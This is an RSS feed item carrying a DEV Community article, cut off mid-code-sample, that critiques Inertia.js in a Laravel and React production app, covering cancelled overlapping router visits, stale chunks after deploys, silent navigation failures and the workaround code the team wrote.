<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Daniel Tofan</title>
    <description>The latest articles on DEV Community by Daniel Tofan (@danieltofan).</description>
    <link>https://dev.to/danieltofan</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3624868%2F1cc36d31-ee61-48af-a591-a7a54f8f5a6c.png</url>
      <title>DEV Community: Daniel Tofan</title>
      <link>https://dev.to/danieltofan</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/danieltofan"/>
    <language>en</language>
    <item>
      <title>Inertia.js Silently Breaks Your App</title>
      <dc:creator>Daniel Tofan</dc:creator>
      <pubDate>Mon, 16 Feb 2026 17:12:20 +0000</pubDate>
      <link>https://dev.to/danieltofan/inertiajs-silently-breaks-your-app-oi8</link>
      <guid>https://dev.to/danieltofan/inertiajs-silently-breaks-your-app-oi8</guid>
      <description>&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; After weeks in a production Laravel 12 + React 19 + Inertia v2 app, I repeatedly hit failure modes that were expensive to diagnose: overlapping visit cancellation, deploy-time stale chunk breakage, weak default failure UX, and framework-specific workaround code. This article is blunt, but scoped: these are observed behaviors in a real stack, backed by docs/issues where available.&lt;/p&gt;




&lt;h2&gt;
  
  
  Scope (What This Is, What This Isn't)
&lt;/h2&gt;

&lt;p&gt;This is &lt;strong&gt;not&lt;/strong&gt; a claim that Inertia fails in every project. Plenty of teams run Inertia successfully for CRUD-heavy admin apps.&lt;/p&gt;

&lt;p&gt;This &lt;strong&gt;is&lt;/strong&gt; a claim that in one real production setup with active users and frequent deploys, Inertia's router abstraction created recurring operational pain and non-obvious failure patterns.&lt;/p&gt;

&lt;p&gt;Environment referenced throughout:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Laravel 12&lt;/li&gt;
&lt;li&gt;React 19&lt;/li&gt;
&lt;li&gt;Inertia.js v2&lt;/li&gt;
&lt;li&gt;Vite code splitting&lt;/li&gt;
&lt;li&gt;Replace-in-place style deployments in some environments&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The Pitch vs. The Reality
&lt;/h2&gt;

&lt;p&gt;Inertia's core pitch is strong: build SPA-like UX without maintaining a separate public API surface for routine web navigation.&lt;/p&gt;

&lt;p&gt;The trouble started when workflows became non-trivial: multi-step actions, deployment churn, and edge-case error handling.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Sequential Request Pitfall: &lt;code&gt;await&lt;/code&gt; Does Not Serialize Inertia Router Visits
&lt;/h2&gt;

&lt;p&gt;In our app, assigning a worker required two ordered operations:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handleAssign&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Step 1: Assign worker&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`/admin/tasks/&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;task&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/assign`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;assignee_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;selectedUserId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;})&lt;/span&gt;

  &lt;span class="c1"&gt;// Step 2: Update status&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`/admin/tasks/&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;task&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/status`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;In Progress&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
  &lt;span class="p"&gt;})&lt;/span&gt;

  &lt;span class="nf"&gt;setModalOpen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With Promise-based clients (&lt;code&gt;fetch&lt;/code&gt;, &lt;code&gt;axios&lt;/code&gt;), that shape means strict sequencing.&lt;/p&gt;

&lt;p&gt;In our case, observed outcome was:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;status updated&lt;/li&gt;
&lt;li&gt;assignment did not&lt;/li&gt;
&lt;li&gt;first request showed cancelled in Network&lt;/li&gt;
&lt;li&gt;no obvious app-level error surfaced by default&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Why this can happen:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Inertia router methods are not Promise-returning in the way this code assumes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;await&lt;/code&gt; therefore doesn't guarantee request completion order&lt;/li&gt;
&lt;li&gt;overlapping visits can cancel previous visits (&lt;a href="https://github.com/inertiajs/inertia/discussions/1471" rel="noopener noreferrer"&gt;by design&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Community discussions: &lt;a href="https://github.com/inertiajs/inertia/discussions/1918" rel="noopener noreferrer"&gt;Promise support intentionally removed&lt;/a&gt;, &lt;a href="https://github.com/inertiajs/inertia/discussions/1765" rel="noopener noreferrer"&gt;years of requests for it&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;A working pattern was callback chaining:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handleAssign&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`/admin/tasks/&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;task&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/assign`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;assignee_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;selectedUserId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;onSuccess&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;put&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`/admin/tasks/&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;task&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/status`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;In Progress&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
      &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;onSuccess&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;setModalOpen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or manually wrapping visits in a Promise:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;patch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;profile.update&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;onSuccess&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;resolve&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;onError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is exactly where frustration spikes: code that looks like normal async/await HTTP is not normal async/await HTTP.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Deploy-Time Stale Chunks: Not Unique to Inertia, But Operationally Sharper with Server-Client Coupling
&lt;/h2&gt;

&lt;p&gt;Any code-split SPA can suffer stale chunk issues after deploy. This is not Inertia-exclusive.&lt;/p&gt;

&lt;p&gt;Inertia made impact broader in our setup because navigation depends on server-side component resolution plus client-side chunk import.&lt;/p&gt;

&lt;p&gt;Representative chunk names:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;assets/bookings-show-A3f8kQ2.js
assets/profile-Bp7mXn1.js
assets/schedule-Ck9pLw4.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After deploy:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;server references latest component manifest&lt;/li&gt;
&lt;li&gt;client tab may still hold older runtime assumptions&lt;/li&gt;
&lt;li&gt;needed chunk import fails if asset no longer available&lt;/li&gt;
&lt;li&gt;user perceives "dead" navigation until hard reload&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Nuance that matters:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Immutable artifact / &lt;a href="https://vercel.com/blog/version-skew-protection" rel="noopener noreferrer"&gt;skew-protected platforms&lt;/a&gt; reduce impact.&lt;/li&gt;
&lt;li&gt;Replace-in-place deployments increase risk window.&lt;/li&gt;
&lt;li&gt;Cache and rollout strategy matters as much as framework choice.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;References: &lt;a href="https://inertiajs.com/asset-versioning" rel="noopener noreferrer"&gt;Inertia asset versioning / 409&lt;/a&gt;, &lt;a href="https://github.com/inertiajs/inertia-laravel/issues/525" rel="noopener noreferrer"&gt;409 loop report&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Important precision:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;I am not claiming every deploy kills every tab in all environments.&lt;/li&gt;
&lt;li&gt;I am claiming this was a repeated production incident pattern in our environment.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  3. Failure UX Defaults to Silence
&lt;/h2&gt;

&lt;p&gt;In our app, we added explicit guardrails to make failures visible/recoverable.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Catch navigation exceptions and force reload&lt;/span&gt;
&lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;exception&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;preventDefault&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;detail&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// Proactive manifest drift check&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;manifest&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/build/manifest.json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;manifest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{});&lt;/span&gt;

&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;visibilitychange&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;visibilityState&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;visible&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;manifest&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/build/manifest.json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;no-store&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nx"&gt;manifest&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;reload&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These mitigations worked. They are also framework-specific operational debt you must know to write.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Navigation Errors Vanish Without a Trace
&lt;/h2&gt;

&lt;p&gt;When a JavaScript error occurs in a target page component, &lt;a href="https://github.com/inertiajs/inertia/issues/710" rel="noopener noreferrer"&gt;navigation fails silently&lt;/a&gt;. The previous page stays visible. No error message, no console warning, no loading indicator that stops. The user clicks a link, waits, and nothing happens.&lt;/p&gt;

&lt;p&gt;When server errors occur, Inertia's default behavior is to &lt;a href="https://mnapoli.fr/fixing-inertia-error-handling" rel="noopener noreferrer"&gt;render the entire error response inside a modal overlay&lt;/a&gt;. In development, that's the full Laravel debug page in a modal on top of your app. In production, it's a generic HTML error page — still in a modal, still bizarre UX. To fix it, you override the exception handler to return JSON, then catch it client-side with toast notifications. More workaround code.&lt;/p&gt;

&lt;p&gt;In the codebase I work with, I found both &lt;code&gt;router.reload()&lt;/code&gt; and &lt;code&gt;window.location.href&lt;/code&gt; used for navigation — the latter being a sign the developers gave up on Inertia's router for certain flows. That split can be rational, but it also means engineers must learn two interaction patterns.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Props in HTML: Not Unique, Still a Real Discipline Requirement
&lt;/h2&gt;

&lt;p&gt;This is not an Inertia-only security story. Any client-delivered data is visible client-side.&lt;/p&gt;

&lt;p&gt;Still, with Inertia, props serialized into &lt;code&gt;data-page&lt;/code&gt; make over-sharing easy if teams are careless.&lt;/p&gt;

&lt;p&gt;References: &lt;a href="https://github.com/inertiajs/inertia/discussions/1430" rel="noopener noreferrer"&gt;props visible in page source&lt;/a&gt;, &lt;a href="https://github.com/inertiajs/inertia/issues/247" rel="noopener noreferrer"&gt;cached sensitive data after logout&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Defensible statement: treat every prop as public output; never include data you would not expose in client payloads.&lt;/p&gt;

&lt;h2&gt;
  
  
  6. "No API" Is Better Framed as a Starting Optimization, Not a Permanent Architecture
&lt;/h2&gt;

&lt;p&gt;The marketing line can be useful early: fewer moving parts for web navigation.&lt;/p&gt;

&lt;p&gt;In many real systems, teams still add explicit API endpoints for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;third-party integrations and webhooks&lt;/li&gt;
&lt;li&gt;mobile clients&lt;/li&gt;
&lt;li&gt;background workflows&lt;/li&gt;
&lt;li&gt;specialized, strongly ordered interactions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Important correction for accuracy:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Inertia supports file uploads and &lt;code&gt;FormData&lt;/code&gt; patterns.&lt;/li&gt;
&lt;li&gt;Our team still used direct &lt;code&gt;fetch()&lt;/code&gt; in some upload paths for local reliability/control reasons.&lt;/li&gt;
&lt;li&gt;That is a project-level tradeoff, not proof that Inertia cannot upload files.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The Root Problem (In This Stack)
&lt;/h2&gt;

&lt;p&gt;The recurring cost was semantic mismatch:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;code looked like normal Promise-based HTTP flow&lt;/li&gt;
&lt;li&gt;runtime behavior followed router-visit semantics&lt;/li&gt;
&lt;li&gt;failure surfaced under production conditions, not in happy-path demos&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That mismatch consumed debugging time and required defensive patterns beyond what most developers expect from "simple SPA routing."&lt;/p&gt;

&lt;h2&gt;
  
  
  The Alternative We Prefer in High-Complexity Flows
&lt;/h2&gt;

&lt;p&gt;For critical ordered operations, explicit HTTP was easier to reason about:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handleAssign&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`/api/tasks/&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;task&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/assign`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;PUT&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Content-Type&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;assignee_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;selectedUserId&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
  &lt;span class="p"&gt;})&lt;/span&gt;

  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`/api/tasks/&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;task&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/status`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;PUT&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
